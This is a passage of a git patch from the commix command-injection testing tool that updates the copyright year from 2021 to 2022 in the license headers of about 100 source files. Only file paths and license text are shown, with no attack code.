"38" +REVISION = "39" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6e138cdd9ed8f01c260afd5f1f56314010197cd4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Jan 2022 09:31:22 +0200 Subject: [PATCH 0040/1023] Copyright year update --- LICENSE.txt | 2 +- commix.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../injections/blind/techniques/time_based/tb_enumeration.py | 2 +- .../injections/blind/techniques/time_based/tb_file_access.py | 2 +- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- .../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/classic/cb_file_access.py | 2 +- .../injections/results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_file_access.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_file_access.py | 2 +- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- .../injections/semiblind/techniques/file_based/fb_injector.py | 2 +- .../injections/semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/dns_exfiltration/__init__.py | 2 +- src/core/modules/dns_exfiltration/dns_exfiltration.py | 2 +- src/core/modules/icmp_exfiltration/__init__.py | 2 +- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 4 ++-- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 103 files changed, 104 insertions(+), 104 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 9c2451501f..1fcc28efab 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2021 Anastasios Stasinopoulos +Copyright (c) 2014-2022 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index 63b7f7e283..3d1b518bf2 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 2db6ac6049..48af6f3a36 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index f3af657c5e..4a14cf9f99 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index e93ee1ff02..5e8ed6eb42 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 40aff2e61a..896b82aef8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 9ceb58bddc..aabbfb621a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index a1352661fd..d0c8dc64a6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 9cf94630f8..e2a27a57c4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 89bcc1e091..cb8acc9dc8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index dd0fd7a2b9..110a7889f2 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 1d095c11b2..aee6857af8 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 1837647ee2..cf5e41b9ca 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 80f3bafa09..6f8e81fe99 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 6f1f75ef28..e8b7c86ca9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 0f54de2d6c..052674bbd2 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 5e17a40639..6556937a4f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index de3074846e..4bd50efe03 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index d5dfec486c..2ac5a0077f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index b3c839762a..6dc0a3a9c6 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 4feae2a045..066daccb06 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index a0b7cbf999..9442feb0a7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 2beabfab44..f42196492c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 3c45321493..afe3683801 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 02520e48d3..94c3ff40af 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index e579189bc5..b0fa15ad20 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 895dd3448b..242f3469b9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index bc7e823e05..b6089a7122 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 8a93c9c7f2..e2ef149453 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index f26d9a86e1..d306f0f4ae 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 7c4e7d3099..6e2321a1bb 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5d49f10d7d..dae11ba1a4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py 